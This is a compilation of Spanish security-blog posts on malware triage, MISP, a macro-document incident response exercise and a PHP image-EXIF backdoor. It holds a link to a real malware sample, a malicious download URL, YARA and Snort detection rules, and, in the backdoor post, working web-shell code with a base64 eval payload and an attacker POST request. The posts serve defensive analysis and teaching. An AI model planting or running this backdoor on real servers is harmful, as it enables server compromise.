Últimamente hemos estado conviviendo con muchas campañas de propagación de malware por correo que está llenando de SPAM la bandeja de entrada de mucha gente con ficheros maliciosos de todo tipo.

Desde nuestro laboratorio de malware estamos observando que la mayoría de ficheros maliciosos recibidos son bastante poco sutiles. Por ejemplo, ficheros de tipo “Script” con extensiones más raras como “.js”, “.vbs” o “.wsf”, o ficheros ofimáticos de desconocidos, con nombres en otro idioma y que piden que les permitas la ejecución de macros, las cuales el propio Word te bloquea y te recuerda que pueden ser peligrosas (con mucha razón).

No obstante, un caso algo más particular que estamos recibiendo, es el de los accesos directos de Windows con “truco”. No es la primera vez que nos topamos con este método de infección, y a principios de este último mes de 2016 hemos vuelto a recibir ficheros como estos.
[Read more…]

La continua evolución de las amenazas y su volatilidad está exigiendo a los profesionales del sector de la seguridad diseñar, desarrollar y explotar soluciones que permitan intercambiar información de una manera rápida, cómoda y sobre todo de una manera distribuida entre los diferentes actores dedicados a velar por la seguridad.

Una de estas soluciones es MISP. De un tiempo a esta parte la herramienta está alcanzando más popularidad y se está convirtiendo poco a poco en una de las herramientas más importantes para el intercambio de indicadores de compromiso. Un indicador de su popularidad es que cada vez son más los productos que están empezando a hablar con MISP; puede verse un ejemplo reciente de cómo desde cuckoo-modified (un fork de Cuckoo Sandbox) se ha añadido un módulo de reporting para interactuar con MISP.

Una de las partes más importantes de la herramienta desde mi punto de vista es su API, pymisp. Es por ello que en esta entrada vamos a ver los pequeños ejemplos que nos aportan desde el proyecto y así ver el potencial de automatización que nos ofrece la herramienta.
[Read more…]

Hoy hace ya unos días desde que los integrantes de SecurityArtWork finalizaran su aventura en el Hackathon de INCIBE, una aventura que se puede resumir en:

• Mucho esfuerzo.
• Litros de café y demás bebidas cafeinadas.
• Récord de 38 horas seguidas sin dormir.
• 6 horas dormidas durante el transcurso Hackathon.
• Mucha diversion.

[Read more…]

Una vez solicitados y aplicados los bloqueos iniciales es posible analizar el documento con más calma, esto sirve principalmente para adquirir inteligencia sobre el malware y encontrar métodos más eficientes de gestionar incidentes relacionados con él. Por lo que se volverá a repetir la fase Incident Resolution, en esta ocasión el tiempo de respuesta no es tan importante, ya se han realizado las primeras tareas de contención, la empresa debería estar libre de este Malware o camino de estarlo.

5. Fase 5 – Incident Resolution II.

5.a. Data Analysis II: La primera tarea es descargar el fichero “File.exe”. La última vez que lo comprobé aún seguía disponible (09-4-2015). También es recomendable mirar las macros por si hubiese alguna información más. Desde office nos solicita contraseña:

[Read more…]

Una de las metodologías más usadas para la gestión de incidentes es la metodología publicada por ENISA (European Union Agency for Network and Information Security), que se va usar como guía para la resolución del incidente.

Después de una primera aproximación a este ejercicio mediante el primer artículo de la serie, continuamos con la gestión del incidente.

Este artículo está propuesto a modo de ejercicio, así que se pueden ir siguiendo los diferentes pasos. También se va a mantener un timeline que refleja el tiempo que llevó cada uno de los pasos, teniendo en cuenta que no es el primer incidente de este tipo que se gestiona, por lo que el equipo de respuesta ante incidentes está formado y en plena forma.

En los incidentes de seguridad son muy importantes los tiempos de resolución y los tiempos que se emplean en las diferentes fases. El incidente está enfocado a un doc con Macros maliciosas de los cuales últimamente se están dando multitud de oleadas, ya que es una manera fácil y sencilla de saltarse las protecciones de los antivirus.

Este incidente está basado en un caso real que se detectó en el SOC de S2 Grupo hace unos días.

Desde el enlace https://www.securityartwork.es/wp-content/uploads/2015/03/Virus_cuidado.zip, comprimido con la contraseña “Infected”, se pueden obtener los especímenes de malware a analizar. EL MALWARE DEL ENLACE ES REAL Y ES UTILIZADO ACTIVAMENTE EN INTERNET, NO ES UN FICHERO INOFENSIVO CREADO AD-HOC COMO PRUEBA DE CONCEPTO, por lo que es responsabilidad del lector garantizar la seguridad de su propio equipo y su red si decide abrir cualquiera de los ficheros que contiene. No descargue el fichero comprimido si no sabe lo que está haciendo. Security Art Work publica la muestra con fines educativos, pero no se responsabiliza del mal uso accidental o intencionado que pueda hacerse del malware. Insistimos: si no sabe muy bien lo que está haciendo, NO DESCARGUE EL FICHERO. Los experimentos con gaseosa.

Vamos allá. Empezamos con la gestión.

1. Fase 1 – Incident report – 10:27 del 8 de Abril de 2015: El sistema de correlación de eventos avisa de que se ha detectado un envío masivo de ficheros .doc a multitud de cuentas de la empresa. Además el documento ha disparado la siguiente regla YARA:

rule OfficeMacrosWinintelDLL
{
	meta:
		Autor = "Manuel Bermudez"
		date = "08-01-2015"
		description = "Fichero office con macros sospechosa"
		link = "https://www.securityartwork.es/"
	strings:
		$VBA1 = "VBA6"
		$VBA2 = "VBA7"
		$str1 = "wininet.dll" nocase
		$str2 = "InternetOpenUrl" nocase
		$str3 = "InternetReadFile" nocase
		$str4 = "InternetOpen" nocase
 		$str5 = "InternetCloseHandle" nocase
	condition:
		1 of ($VBA*) and 2 of ($str*)
}

Disponemos de los siguientes datos del fichero en cuestión:

Nombre: (Payment) 04.07.15.doc
SHA256: 8008a15c8321807da9c1ed31db3c00e10dd9d2b84ea15e6d285f35b95eb7c882

2. Fase 2 – Registration – 10:32 del 8 de Abril de 2015: Registramos el incidente, para lo que normalmente siempre se dispone de una herramienta de ticketing que permite hacer el seguimiento de los incidentes. Damos de alta el incidente siendo lo más descriptivos posible, como por ejemplo:

3. Fase 3 – Triage: es un término médico que proviene del francés. Básicamente se trata de determinar qué necesitamos para diagnosticar y resolver el incidente, así como tratar de determinar el posible impacto.

4. Fase 4 – Incident Resolution – 10:35 del 8 de Abril de 2015. Esta es la fase más larga y se describe como un ciclo básico compuesto por 5 pasos, como se ve en la imagen. Esta una de las fases más importante y es necesario ser lo más eficientes posibles para proponer soluciones iniciales, dado que cuanto antes se implementen las soluciones menos equipos se infectaran.

4.a. Data Analysis – 10:40 del 8 de Abril de 2015: Se procede a analizar el documento. Por la información de la que se dispone, se trata de un doc con macros. Existen varias maneras de proceder, como por ejemplo analizarlo con las oletools u oledump. Sin embargo, teniendo en cuenta que el tiempo apremia, lo mas eficiente es copiarlo directamente a la máquina virtual y ejecutarlo, debido a que cada vez las macros están más ofuscadas o bien tienen contraseña, así que una manera que casi con total seguridad va funcionar es ejecutarla en la máquina virtual, que recordemos que no está conectada a internet (ésta está simulada).

Esto es lo se ve al abrir el fichero “(Payment) 04.07.15.doc”:

Al ejecutar las Macros observamos cómo en el DNSchef del equipo anfitrión nos muestra que se ha realizado una petición:

La consola en la que se ha puesto el puerto 80 a escuchar también nos da más datos:

Con esta información ya podemos poner en marcha acciones de contención, así que pasamos a la siguiente fase sin olvidar de documentar con todos los datos nuevos que hemos obtenido.

4.b. Resolution research – 10:50 del 8 de Abril de 2015. La idea de esta “subfase” es básicamente buscar una solución, que en este caso es evidente: bloquear el dominio para impedir que los usuarios que ejecuten las macros se infecten, así como implementar reglas de detección para localizar posibles equipos infectados.

4.c. Action proposed – 10:52 del 8 de Abril de 2015. Se solicita al departamento que corresponda el filtrado del dominio “www.droopy999.w.interia.pl” para que los usuarios no puedan navegar por el. Este proceso normalmente se realiza en el proxy de navegación o en firewall. También se solicita que se implementen las siguientes reglas en el IDS (casi todos los IDS/IPS del mercado suelen aceptar reglas con sintaxis de snort):

alert udp any any -> any 53 (msg:"S2-Malware Doc con Macro Maliciosa"; 
content:"www|09|droopy999|01|w|07|interia|02|pl" ; classtype:trojan-activity; sid:XXXXXX; rev:1;)

alert tcp any any -> any $HTTP_PORTS (msg:"S2-Malware Doc con Macro Maliciosa"; 
content:"www.droopy999.w.interia.pl" ; classtype:trojan-activity; sid:XXXXX; rev:1;)

Es muy importante seguir documentando la incidencia, haciendo especial hincapié en las hora de solicitud de las diferentes acciones.

4.d. Action Performed. En este punto debemos realizar la acción, ya sea realizando las solicitudes pertinentes podemos o aplicando los filtros si es un aspecto que entra dentro de nuestras competencias. En este punto se puede pasar a la siguiente fase.

4.e. Eradication and Recovery – 10:57 del 8 de Abril de 2015: en este paso buscamos información para saber cuántos usuarios han ejecutado las macros. Para esto necesitaremos los logs de navegación, en los que buscaremos equipos que hayan accedido a “http://www.droopy999.w.interia.pl/11/004.exe”.

La recomendación suele ser formatear dichos ordenadores si el departamento de soporte correspondiente dispone de un protocolo para hacerlo, también podemos comprobar si el antivirus lo detecta y erradica. Si no es así, la mayoría de empresas de antivirus te permite enviarle ejemplares para añadirlas en su fichero de firmas. Para ello debemos descargarnos el fichero “004.exe” y hacérselo llegar, aunque la experiencia nos dice que, en la mayor parte de los casos, es mucho más rápido y efectivo formatear los equipos infectados.

Aunque puede parecer que ya estamos en disposición de finalizar la alerta, aún nos queda hacer otra pasada sobre la fase 4 Incident Resolution, ya que al tener el virus es posible detectar si existen equipos infectados. En el siguiente post analizaremos el fichero “004.exe” y procederemos al cierre del incidente.

La línea de tiempo es aproximada, pero este virus se detectó el 8 de Abril de 2015 por la mañana y la detección en virustotal en ese momento era de 1/57. En menos de media hora se pudo analizar el documento y proponer una solución, siempre documentando cada una de las fases.

En esta serie de tres artículos se va a proponer un ejercicio de gestión de un incidente, concretamente un incidente relacionado con Malware. Se aplicará una de las metodologías de resolución de incidentes más extendida, y se analizaran las diferentes acciones que se deben tomar para gestionar un incidente relacionado con un malware. En este caso vamos a trabajar en un incidente relacionado con malware real, por lo que se necesitara un laboratorio para poder analizar el espécimen.

Además de una Cuckoo sandbox, que podéis ver como se instala en este otro artículo, vamos a necesitar una serie de herramientas:

Un equipo anfitrión, en este caso se trata de un Linux, con el siguiente software:

• Oletools: http://www.decalage.info/python/oletools/
• Oledump: http://blog.didierstevens.com/programs/oledump-py/
• Virtualbox. Máquina Virtual Windows XP (Equipo huésped)
• dnschef para simular conexión a internet: https://thesprawl.org/projects/dnschef/
• Whireshark: https://www.wireshark.org/

Equipo huésped Windows XP:

[Read more…]

El malware no es nuevo a día de hoy, y uno de los sectores en los que más está creciendo es en el campo de los dispositivos móviles debido al auge continuo de smartphones y tablets. Un ejemplo de ello es la cifra proporcionada en el reciente Google IO 14 de 1000 millones de dispositivos Android activos actualmente.

Hace unos días aparecía un informe de McAfee donde se destacaba la cantidad de clones del juego Flappy Bird que cuentan con algún tipo de malware en su código. Curioso. Con este dato decidí hacer una revisión rápida a esa colección de clones para centrarme en los permisos solicitados por cada uno de ellos.

Pero claro, ¿cómo saber si son un exceso de permisos o no? Para ello, empecemos con nuestra propia lógica: es un juego sencillo que lo único que hace es guardar una puntuación máxima y de vez en cuando sale algún anuncio, por lo que deberíamos esperar al menos los permisos de conexión a internet y de almacenamiento. Casualmente decidí probar el juego en su momento y aún dispongo de acceso al mismo en mi historial de Google Play, así que pude acceder a ver los permisos que realmente necesitaba la aplicación:

Al final resulta que solo necesita tres permisos, los cuales son aceptables para lo que se espera de la aplicación. Sin embargo, a la hora de ver otras similares, nos encontramos con el siguiente abanico de opciones extra que debemos autorizar o no en función del clon elegido:

Hasta cierto punto algunos de estos permisos son razonables. Por ejemplo, buscar cuentas en nuestro dispositivo para publicar nuestra última puntuación en la red social correspondiente: no nos garantiza que junto a nuestra marca personal además añada publicidad de otros productos ajenos al juego (un enlace a una web que oferta productos de China). Sin embargo, ¿por qué deberíamos permitir averiguar nuestra localización? ¿Es necesario para el caso anterior de compartir nuestro récord? ¿O realmente tiene otro propósito?

Instalando una de las aplicaciones en un dispositivo limpio (sin tarjeta SIM, formateado de fábrica y sin ningún dato de cuenta introducido) nos encontramos con la siguiente imagen. Referida al compartir lo que suponemos que era la tabla de récords, dado el inconveniente que nos encontramos con el idioma de la misma (coreano, concretamente). Las dos primeras redes sociales no hay problemas en reconocerlas, ¿pero las dos siguientes? ¿Y la opción de compartir por correo? ¿En verdad alguien la usa para enviar ese tipo de información?

No hay duda de que Google trabaja en mantener limpio su mercado de aplicaciones, pero se ve que hace falta mucho más control para evitar ya de base la posibilidad de subir aplicaciones comprometidas, y más aún si logran tener cierto éxito. Otro caso similar relativamente reciente fue el de las aplicaciones del tipo linterna que suscribían a servicios SMS de pago y conseguían ocultarlo hasta que llegaba la factura del mes, con permisos para leer SMS entre otros. ¿Nadie se extraña de eso en una aplicación que lo único que tiene que hacer es encender un LED?

Y es que al final la culpa no es solo de quien proporciona acceso a la descarga de la aplicación, sino también del propio usuario que por no gastar quince segundos mirando los permisos de la aplicación puede acabar pagando hasta 30 euros extra a fin de mes, junto a algún que otro susto.

Como consejo final, decir que si revisáis un contrato o una factura antes de firmarlo, ¿por qué no hacer lo mismo con el móvil y las aplicaciones que instaléis?

Hace ya algunas semanas que estamos observando que determinados sitios web han sido comprometidos y los atacantes han dejado una puerta trasera para seguir ejecutando código en el servidor. Sobre el caso que vamos a explicar ya existen varios artículos donde destacamos el de securi.net el de spiderlabs los cuales ya estaban hablando de este asunto este mes de Julio.

Resumiendo la técnica, los atacantes inyectan código en ficheros php para leer una imagen mediante la función exif_read_data() y ejecutar código de dentro de la imagen mediante un truco que permite la función preg_replace(). Este código que se ejecuta inyectado en la imagen, ofrece la posibilidad de ejecutar código php que venga en una petición POST en una variable de nombre zz1 cuando se invoque el php afectado.

Para que quede más claro vamos a ver la técnica con un ejemplo sencillo. Lo primero que hacemos es crear un fichero de nombre index.php que vamos a colocar en nuestro servidor web junto a la imagen.

print ("POC\n"); 

$exif = exif_read_data('backdoor.jpg'); 
preg_replace($exif['Make'],$exif['Model'],''); 

print ("POC END\n"); 

Las líneas en rojo serían las que inyectaría el atacante en cualquier fichero php. Y la imagen backdoor.jpg sería la subida por el atacante. Como muy bien explican en los artículos si analizamos la imagen, veremos que en la cabecera tendremos algo como:

/.*/eeval(base64_decode('aWYgKGlzc2V0KCRfUE9TVFsienoxIl0pKSB7ZXZhbChzdHJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));

Donde el código que se ejecutará realmente después de aplicar la función base64_decode() será:

if (isset($_POST["zz1"])) {eval(stripslashes($_POST["zz1"]));}

Como ya hemos dicho antes en el resumen, se ejecutará lo que llegue en la variable "zz1” en una petición POST. Continuando con nuestro ejemplo, la petición que lanzaría el atacante para aprovechar el código inyectado y la imagen con el backdoor, sería algo como:

POST /index.php HTTP/1.1 
Host: victima.es
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:25.0) Gecko/20100101 Firefox/25.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 
Accept-Encoding: gzip, deflate 
Connection: keep-alive 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 34 

zz1=phpinfo();

Este ejemplo sencillo, hará que se ejecute la función “phpinfo();” en el servidor y nos devuelva la información. Con esto queda demostrado que podemos ejecutar código php en el servidor.

Una vez visto cómo funciona debemos plantearnos diferentes opciones para detectar esta amenaza o similares. Para este caso concreto podrían valernos:

1. Las funciones que se utilizan en la imagen son “base64_decode” y “eval”, así que una posible vía de detección sería detectar estas dos funciones en ficheros de tipo imagen. Esto puede detectarse tanto en el tráfico de red como de manera local en el servidor buscando estas dos funciones en ficheros de tipo imagen.
2. Detectar hacia nuestros servidores web peticiones POST a un fichero php con la variable zz1 fijada. Esto indicará que nuestro servidor web podría estar comprometido.
3. Y por último revisar el código php de nuestras aplicaciones en busca de las funciones exif_read_data() y preg_replace().

Vistas diferentes aproximaciones para detectar esta amenaza, comentaros que nosotros hemos detectado usuarios que durante una navegación normal, han descargado imágenes que contenían el backdoor. Este hecho por si solo no compromete al usuario, aunque debe alertarnos, ya que si contiene este backdoor podría tener también algún Exploit Pack que puede intentar atacar a nuestros usuarios. Un ejemplo de la detección que hemos visto ha sido:

Al detectar esto, se ha procedido a notificarlo a los sitios web para que puedan desinfectar sus servidores de esta amenaza.

Como siempre espero que os sea de utilidad esta entrada.

Recientemente detectamos en un servidor una extraña conexión hacia un servidor que hizo saltar la alarma por un posible compromiso del mismo. La petición que se detectó desde dicho servidor fue únicamente la que se muestra a continuación:

Como única respuesta se recibió la palabra UNCHANGED.

Tras analizar las peticiones que recibe el servidor, no se aprecia ninguna sospechosa que pudiera indicar alguna webshell desde la que lanzar esa petición, ni ninguna orden dirigida a un recurso sospechoso o pasada como parámetro que llamase la atención, lo que nos hizo analizar el registro del servidor para ver qué actividad hubo.

Antes de pasar a analizar el log, buscamos los últimos ficheros modificados en el directorio del servidor y, por tratarse de un posible servidor web comprometido, especialmente aquellos ficheros con funciones que utiliza habitualmente el malware para ofuscarse (base64_decode, preg_replace, eval, error_reporting(0), etc.). En este caso ya empezamos a ver indicios que nos llevaban en la dirección correcta: unas carpetas que parecen ser módulos de Joomla! creados en fechas diferentes que contienen algunas de las funciones buscadas:

[Read more…]

Hace algún tiempo que llevamos trabajando con la herramienta HoneySpider en su versión 1.x que, para el que no la conozca es una herramienta desarrollada por CERT Polska / NASK y el NCSC. En la versión 1.x se trataba básicamente de un honeyclient web y su funcionamiento consistía en visitar páginas web como si fuera un usuario y detectar si existe código malicioso en la página.

La versión 1.x de HoneySpider no era accesible de manera pública y era necesario solicitarlo expresamente a los responsables del proyecto. Nosotros supimos de la existencia de esta herramienta gracias a uno de los eventos del Trusted Introducer, donde se reúnen CERTs de diferentes países y se intercambia conocimiento muy útil.

La versión 1.x de la herramienta tenía la siguiente arquitectura:

La herramienta en esta versión estaba formada de un módulo central (center) y un módulo de baja interacción que visita las páginas Web, recopilaba información del destino, y hacía un análisis del código javascript; en el caso de ser malicioso pasaba el enlace al módulo de alta interacción, donde ejecutaba en una máquina virtualbox un navegador que visita la página Web para detectar exploits de cliente.

Es necesario saber que el módulo “Web Client” no es un crawler (versión 1.X) sino un módulo que emula el comportamiento de un usuario, con el objetivo de que el responsable del sitio malicioso no detecte que es un programa automático el que está visitando la web, por lo que por mucho que por debajo trabaje con el crawler Heritrix (https://webarchive.jira.com/wiki/display/Heritrix/Heritrix), la gente del proyecto HoneySpider lo modificó para emular a un usuario (por lo menos en la versión 1.X).

Al principio de este año 2013 se presentó en la conferencia “NCSC Conference 2013” (PDF) la versión 2.0. Esta nueva versión posee una arquitectura bastante diferente como podéis ver en el siguiente esquema, donde ya no se divide en baja y alta interacción, sino que se ha tendido a una arquitectura donde todos los módulos interactúan con un módulo central, arquitectura similar a la que están tendiendo otras herramientas:

De la nueva versión destacaría la incorporación de una funcionalidad que permite incorporar los nuggets de razorback, proyecto del que ya nos habló Maite en un par de entradas. Para esto, según indican, únicamente es necesario recompilar el nugget.

En el momento de la publicación de la herramienta existen los siguientes nuggets probados: swfScanner, pdfFox, clamavNugget, officeCat, virusTotal y archiveInflate. Además, es necesario destacar por un lado su integración ya con la sandbox Cuckoo, y por otro el hecho de que hayan liberado el código en github lo que hace que ante cualquier problema o necesidad que uno pueda tener pueda implementársela.

Dentro de nuestros objetivos está probar esta nueva versión de HoneySpider para ver si se ajusta más a nuestras necesidades y si no poderla adaptar, por lo que en breve podremos daros nuestra opinión de este gran trabajo.